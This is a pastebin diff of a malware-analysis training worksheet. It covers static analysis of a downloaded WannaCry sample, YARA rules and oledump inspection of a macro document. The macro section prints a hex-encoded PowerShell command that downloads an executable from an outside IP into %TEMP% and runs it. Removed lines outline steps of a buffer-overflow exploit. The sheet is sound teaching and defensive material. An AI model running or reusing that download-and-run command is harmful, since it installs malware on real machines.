View difference between Paste ID: tU0KkYc7 and UB868q2s
SHOW: | | - or go back to the newest paste.
1
############################
2-
# Setup your CentOS 7 host #
2+
# Download the Analysis VM #
3
############################
4-
yum update
4+
5-
yum install -y nmap python2-scapy.noarch python34-scapy.noarch whois.x86_64 tcpdump.x86_64 unzip wget tcpflow.x86_64 
5+
user: infosecaddicts
6
pass: infosecaddicts
7
 
8
 
9
 
10
- Log in to your Ubuntu system with the username 'infosecaddicts' and the password 'infosecaddicts'.
11
 
12
 
13
###################################
14
# Setting up your virtual machine #
15
################################### 
16
17
Here is where we will setup all of the required dependencies for the tools we plan to install
18
---------------------------Type This-----------------------------------
19
sudo apt update
20
sudo apt-get install -y python3-pip python3-dev unzip python3-setuptools ipython3 build-essential python-pefile python2.7 python-pip python-setuptools mysql-server python-mysqldb python-mysqldb
21
22
23
sudo pip install -U olefile
24
25
26
git clone https://github.com/Te-k/pe.git
27-
mkdir malware_analysis
27+
cd pe
28
sudo python3 setup.py install
29-
cd malware_analysis
29+
pip3 install .
30
cd ..
31
wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
32
     infected
33
-----------------------------------------------------------------------
34
 
35
 
36
 
37
 
38
################
39
# The Scenario #
40
################
41
You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
42
 
43
 
44
The fastest thing you can do is perform static analysis.
45
 
46
 
47
 
48
###################
49
# Static Analysis #
50
###################
51
 
52
- After logging please open a terminal window and type the following commands:
53
 
54
 
55
---------------------------Type This-----------------------------------
56
cd ~
57
58
mkdir static_analysis
59
60
cd static_analysis
61-
strings --all wannacry.exe | head -n 6
61+
62
wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
63
 
64
unzip wannacry.zip
65
     infected
66
 
67
file wannacry.exe
68
 
69
mv wannacry.exe malware.pdf
70
 
71
file malware.pdf
72
 
73
mv malware.pdf wannacry.exe
74
 
75
hexdump -n 2 -C wannacry.exe
76
 
77
----------------------------------------------------------------------
78
 
79
 
80
***What is '4d 5a' or 'MZ'***
81
Reference:
82
http://www.garykessler.net/library/file_sigs.html
83
 
84
 
85
 
86
 
87
---------------------------Type This-----------------------------------
88
objdump -x wannacry.exe
89
 
90
strings wannacry.exe
91
 
92
strings wannacry.exe | grep -i dll
93
 
94
strings wannacry.exe | grep -i library
95
 
96
strings wannacry.exe | grep -i reg
97
 
98
strings wannacry.exe | grep -i key
99
 
100
strings wannacry.exe | grep -i rsa
101
 
102
strings wannacry.exe | grep -i open
103
 
104
strings wannacry.exe | grep -i get
105
 
106
strings wannacry.exe | grep -i mutex
107
 
108
strings wannacry.exe | grep -i irc
109
 
110
strings wannacry.exe | grep -i join        
111
 
112
strings wannacry.exe | grep -i admin
113
 
114
strings wannacry.exe | grep -i list
115
----------------------------------------------------------------------
116
 
117
 
118
 
119
 
120
 
121
---------------------------Type This-----------------------------------
122
pe info wannacry.exe
123
pe check wannacry.exe
124
pe dump --section text wannacry.exe
125
pe dump --section data wannacry.exe
126
pe dump --section rsrc wannacry.exe
127
pe dump --section reloc wannacry.exe
128
strings rdata | less
129
strings rsrc | less
130
strings text | less
131
---------------------------------------------------------------------- 
132
 
133
 
134
 
135
 
136
137
138
139
140
Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
141
 
142
Quick Google search for "wannacry ransomeware analysis"
143
 
144
 
145
Reference
146
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
147
 
148
- Yara Rule -
149
 
150
 
151
Strings:
152
$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
153
$s2 = “Wanna Decryptor” wide ascii nocase
154
$s3 = “.wcry” wide ascii nocase
155
$s4 = “WANNACRY” wide ascii nocase
156
$s5 = “WANACRY!” wide ascii nocase
157
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
158
 
159
 
160
 
161
 
162
 
163
 
164
 
165
 
166-
wget https://files.pythonhosted.org/packages/ed/cc/157f20038a80b6a9988abc06c11a4959be8305a0d33b6d21a134127092d4/pefile-2018.8.8.tar.gz
166+
167-
tar -zxvf pefile-2018.8.8.tar.gz
167+
168-
cd pefile-2018.8.8
168+
169-
python setup.py install
169+
170
strings wannacry.exe | grep -i ooops
171
 
172
strings wannacry.exe | grep -i wanna
173
 
174
strings wannacry.exe | grep -i wcry
175
 
176
strings wannacry.exe | grep -i wannacry
177
 
178
strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
179
----------------------------------------------------------------------
180
 
181
 
182-
python am.py wannacry.exe
182+
183
 
184
 
185
 
186
187
 
188
189
190-
# Reference:                                        #
190+
191-
# https://jon.glass/analyzes-dridex-malware-p1/     #
191+
192
 
193
 
194-
yum -y install epel-release
194+
195-
yum -y install python-pip
195+
196-
pip install -U olefile
196+
197-
    
197+
198
####################################
199-
mkdir oledump
199+
200
 
201-
cd oledump
201+
202
https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
203
 
204
This is a really good script for the basics of static analysis
205
 
206
Reference:
207
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
208
 
209
 
210
This is really good for showing some good signatures to add to the Python script
211
 
212
 
213
Here is my own script using the signatures (started this yesterday, but still needs work):
214
https://pastebin.com/guxzCBmP
215
 
216
 
217
 
218
---------------------------Type This-----------------------------------
219
wget https://pastebin.com/raw/guxzCBmP
220
 
221
 
222
mv guxzCBmP am.py
223
 
224
 
225
vi am.py
226
 
227
python2.7 am.py wannacry.exe
228
----------------------------------------------------------------------
229
 
230
  
231
 
232
##############
233
# Yara Ninja #
234
##############
235
236
Reference:
237
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
238
 
239
----------------------------------------------------------------------------
240-
----------------------------------------------------------------------------------------------------------------------------
240+
rule wannacry_1 : ransom
241-
##################################
241+
{
242-
# PCAP Analysis with ChaosReader #
242+
    meta:
243-
# Note: run as regular user      #
243+
        author = "Joshua Cannell"
244-
##################################
244+
        description = "WannaCry Ransomware strings"
245
        weight = 100
246
        date = "2017-05-12"
247
 
248-
mkdir -p pcap_analysis/chaos_reader/
248+
    strings:
249
        $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
250-
cd ~/pcap_analysis/chaos_reader/
250+
        $s2 = "Wanna Decryptor" wide ascii nocase
251
        $s3 = ".wcry" wide ascii nocase
252-
wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap
252+
        $s4 = "WANNACRY" wide ascii nocase
253
        $s5 = "WANACRY!" wide ascii nocase
254-
wget https://s3.amazonaws.com/infosecaddictsfiles/chaosreader.pl
254+
        $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
255
 
256-
perl chaosreader.pl suspicious-time.pcap
256+
    condition:
257
        any of them
258-
cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
258+
}
259
 
260-
cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
260+
----------------------------------------------------------------------------
261
rule wannacry_2{
262
    meta:
263-
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u
263+
        author = "Harold Ogden"
264
        description = "WannaCry Ransomware Strings"
265-
/sbin/iptables -F
265+
        date = "2017-05-12"
266
        weight = 100
267-
python -m SimpleHTTPServer    
267+
268-
          ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
268+
    strings:
269
        $string1 = "msg/m_bulgarian.wnry"
270-
------------------------------------------------------------------------
270+
        $string2 = "msg/m_chinese (simplified).wnry"
271-
########################### 
271+
        $string3 = "msg/m_chinese (traditional).wnry"
272-
# Setting up your machine #
272+
        $string4 = "msg/m_croatian.wnry"
273-
########################### 
273+
        $string5 = "msg/m_czech.wnry"
274
        $string6 = "msg/m_danish.wnry"
275
        $string7 = "msg/m_dutch.wnry"
276-
yum -y groupinstall 'Development Tools'
276+
        $string8 = "msg/m_english.wnry"
277-
yum install -y libpcap-devel.i686 libpcap-devel.x86_64 libpcap.i686 libpcap.x86_64 pcapy.x86_64 p0f.x86_64 perl tcpdump python-docutils git gcc pcre-devel.i686 pcre-devel.x86_64 glibc-static
277+
        $string9 = "msg/m_filipino.wnry"
278
        $string10 = "msg/m_finnish.wnry"
279-
cd ~/pcap_analysis/
279+
        $string11 = "msg/m_french.wnry"
280-
git clone git://github.com/gamelinux/prads.git
280+
        $string12 = "msg/m_german.wnry"
281-
cd prads
281+
        $string13 = "msg/m_greek.wnry"
282-
make
282+
        $string14 = "msg/m_indonesian.wnry"
283-
make install
283+
        $string15 = "msg/m_italian.wnry"
284
        $string16 = "msg/m_japanese.wnry"
285-
wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap
285+
        $string17 = "msg/m_korean.wnry"
286
        $string18 = "msg/m_latvian.wnry"
287-
prads -r suspicious-time.pcap -l prads-asset.log
287+
        $string19 = "msg/m_norwegian.wnry"
288
        $string20 = "msg/m_polish.wnry"
289-
cat prads-asset.log | less
289+
        $string21 = "msg/m_portuguese.wnry"
290-
------------------------------------------------------------------------
290+
        $string22 = "msg/m_romanian.wnry"
291
        $string23 = "msg/m_russian.wnry"
292
        $string24 = "msg/m_slovak.wnry"
293
        $string25 = "msg/m_spanish.wnry"
294
        $string26 = "msg/m_swedish.wnry"
295
        $string27 = "msg/m_turkish.wnry"
296
        $string28 = "msg/m_vietnamese.wnry"
297-
- Step 1: Installing MySQL database
297+
298-
- Run the following command in the terminal:
298+
299
    condition:
300-
yum install -y mariadb-server MySQL-python.x86_64 mysql-connector-python.noarch python2-PyMySQL.noarch mariadb.x86_64 mariadb-devel.x86_64 mariadb-libs.x86_64
300+
        any of ($string*)
301-
------------------------------------------------------------------------
301+
}
302-
     
302+
----------------------------------------------------------------------------
303-
- Step 2: Configure the database to accept large files by adding 'max_allowed_packet = 16M' to the /etc/my.cnf file
303+
304
305-
vi /etc/my.cnf
305+
306-
max_allowed_packet = 16M
306+
307-
------------------------------------------------------------------------
307+
308
309-
Step 3: Start MariaDB
309+
310-
- Run the following command in the terminal:
310+
311
# Analyzing Macro Embedded Malware                  #
312-
systemctl enable mariadb
312+
313-
systemctl start mariadb
313+
314-
------------------------------------------------------------------------
314+
mkdir ~/oledump
315
 
316-
Step 4: Logging in
316+
cd ~/oledump
317
 
318
wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
319
 
320
unzip oledump_V0_0_22.zip
321-
use mysql;
321+
322-
update user SET PASSWORD=PASSWORD("malware") WHERE USER='root';
322+
323-
flush privileges;
323+
324
unzip 064016.zip
325-
grant all on malware.* to 'root' identified by 'malware';
325+
326
 
327-
------------------------------------------------------------------------
327+
328
 
329
python oledump.py 064016.doc -s A4 -v
330
 -----------------------------------------------------------------------
331-
Step 5: Configure the database setup script
331+
332-
---------------------------Type This----------------------------------- 
332+
333
 
334
- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
335
- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
336
 
337
---------------------------Type This-----------------------------------
338-
------------------------------------------------------------------------
338+
339
-----------------------------------------------------------------------
340
 
341-
Step 6: check it to see if the files table was created
341+
342-
--------------------------Type This----------------------------------- 
342+
343
---------------------------Type This-----------------------------------
344
python oledump.py 064016.doc -s A3 -v
345
 
346
- Look for "GVhkjbjv" and you should see:
347
 
348
636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
349
 
350
- Take that long blob that starts with 636D and finishes with 653B and paste it in:
351
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
352
-----------------------------------------------------------------------
353
354
355
356
###############################
357
# Creating a Malware Database #
358
###############################
359-
Step 7:  Now add the malicious file to the DB
359+
360
-----------------------------------
361
- Step 1: Logging in
362
Run the following command in the terminal:
363
---------------------------Type This-----------------------------------
364
mysql -u root -p                    (set a password of 'malware')
365
 
366
- Then create one database by running following command:
367-
------------------------------------------------------------------------ 
367+
368
create database malware;
369
 
370-
Step 8: Now check to see if it is in the DB
370+
371
 
372
wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
373
 
374
vi mal_to_db.py                     (fill in database connection information)
375
 
376
python mal_to_db.py -i
377
 
378
------- check it to see if the files table was created ------
379-
mysql> quit;
379+
380-
------------------------------------------------------------------------
380+
381
    malware
382
 
383-
-------------------------------------------------
383+
384-
1. App Type
384+
385-
    - Stand Alone
385+
386-
    - Client Server     (***vulnserver.exe***)
386+
387-
    - Web App
387+
388
 
389-
2. Input Type
389+
390-
    - Stand Alone       File/Keyboard/Mouse
390+
391-
    - Client Server     Logical network port        (***9999***)
391+
392-
    - Web App       Browser
392+
393
---------------------------------
394
 
395-
3. Map and fuzz app entry points
395+
396-
    - Commands, Methods, Verbs, functions, controllers, subroutines
396+
- Now add the malicious file to the DB
397-
    TRUN 2100
397+
398
python mal_to_db.py -f wannacry.exe -u
399-
4. Isolate the crash
399+
400-
    EIP = 39 6F 43 38
400+
401-
           9  o C   8
401+
402
- Now check to see if it is in the DB
403-
5. Calculate distance to EIP
403+
404-
    2006
404+
405
    malware
406-
6. Redirect code execution to mem location you control
406+
407
mysql> use malware;
408-
7. Insert payload (shellcode)
408+
409-
--------------------------------------------------------------
409+
410
 
411
mysql> quit;